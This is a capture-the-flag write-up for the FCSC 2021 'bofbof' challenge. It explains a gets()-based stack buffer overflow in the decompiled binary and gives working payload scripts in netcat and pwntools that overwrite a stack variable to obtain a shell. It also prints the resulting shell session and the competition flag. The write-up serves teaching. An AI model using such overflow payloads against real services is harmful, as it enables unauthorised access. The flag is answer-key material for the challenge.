FCSC 2021 - Intro - bofbof
Your goal is to get a shell on the target machine and read the file flag.txt
.
nc challenges2.france-cybersecurity-challenge.fr 4002
SHA256(bofbof
) = bd78bff2d72fcc6ebc82f248ea14761d66fc476aca13eed22db541f2960f9fce
.
Files :
Solving the challenge
First, let’s play with the challenge binary a bit to see if there is a way to cause a SIGSEGV (Segmentation fault) signal. When we put a long string of A
as input (60 A
here), the program crashes:
$ ./bofbof
Comment est votre blanquette ?
>>> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
We can assume that we have overwritten a return address saved in the stack, and that the program crashes at the time of the final return (ret
instruction) of the main
function.
We disassemble the binary with Ghidra and we get the decompiled code of the main
function:
undefined8 main(void) {
char local_38 [40];
long local_10;
local_10 = 0x4141414141414141;
printf("Comment est votre blanquette ?\n>>> ");
fflush(stdout);
gets(local_38);
if (local_10 != 0x4141414141414141) {
if (local_10 == 0x1122334455667788) {
vuln();
}
puts("Almost there!");
}
return 0;
}
To access the shell (via the vuln ()
function) we must rewrite the value of the local variable local_10
(declared in the stack). For this we carry out a stack buffer overflow when the gets(local_38);
is called. This will allow to rewrite on the value of the local variable local_10
in the stack.
There is two ways to perform the exploitation, either with a payload in a file, which we will send via netcat, or directly with the pwntools library of python.
cat payload with pipes and netcat
For this technique, we first want to create the file containing the payload in raw bytes using a few lines of python:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import pwn
offset = 5*8
payload = b'A'*offset + pwn.p64(0x1122334455667788)
f = open('payload.raw','wb')
f.write(payload)
f.close()
Then we perform a cat
of the payload.raw
file as well as -
(corresponding to the standard input stdin
, which allows to interact with the service after sending the payload)
$ (cat ./payload.raw -) | nc challenges2.france-cybersecurity-challenge.fr 4002
Comment est votre blanquette ?
>>>
ls -lha
total 32K
drwxr-xr-x 1 root root 4.0K Apr 21 13:49 .
drwxr-xr-x 1 root root 4.0K Apr 23 12:43 ..
-r-x------ 1 ctf ctf 17K Apr 21 13:48 bofbof
-r-------- 1 ctf ctf 71 Apr 21 13:47 flag.txt
cat flag.txt
FCSC{ec30a448a777b571734d8d9e4036b3a6e87d1005446f80dffb26c3e4f5cd02ba}
With python’s pwntools library
With the pwn
python library (installable with python3 -m pip install pwntools
), we just have to create a socket, and send our raw bytes payload using sendline
. Then we can get interactive access to the shell thanks to the .interactive()
function:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import pwn
offset = 5*8
payload = b'A'*offset+pwn.p64(0x1122334455667788)
c = pwn.remote("challenges2.france-cybersecurity-challenge.fr",4002)
c.sendline(payload)
c.interactive()
We get an interactive shell just after sending the payload:
$ ./solve.py
[+] Opening connection to challenges2.france-cybersecurity-challenge.fr on port 4002: Done
[*] Switching to interactive mode
Comment est votre blanquette ?
>>> $ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ ls -lha
total 32K
drwxr-xr-x 1 root root 4.0K Apr 21 13:49 .
drwxr-xr-x 1 root root 4.0K Apr 23 12:43 ..
-r-x------ 1 ctf ctf 17K Apr 21 13:48 bofbof
-r-------- 1 ctf ctf 71 Apr 21 13:47 flag.txt
$ cat fl
$ cat flag.txt
FCSC{ec30a448a777b571734d8d9e4036b3a6e87d1005446f80dffb26c3e4f5cd02ba}
$
And we get the flag :
FCSC{ec30a448a777b571734d8d9e4036b3a6e87d1005446f80dffb26c3e4f5cd02ba}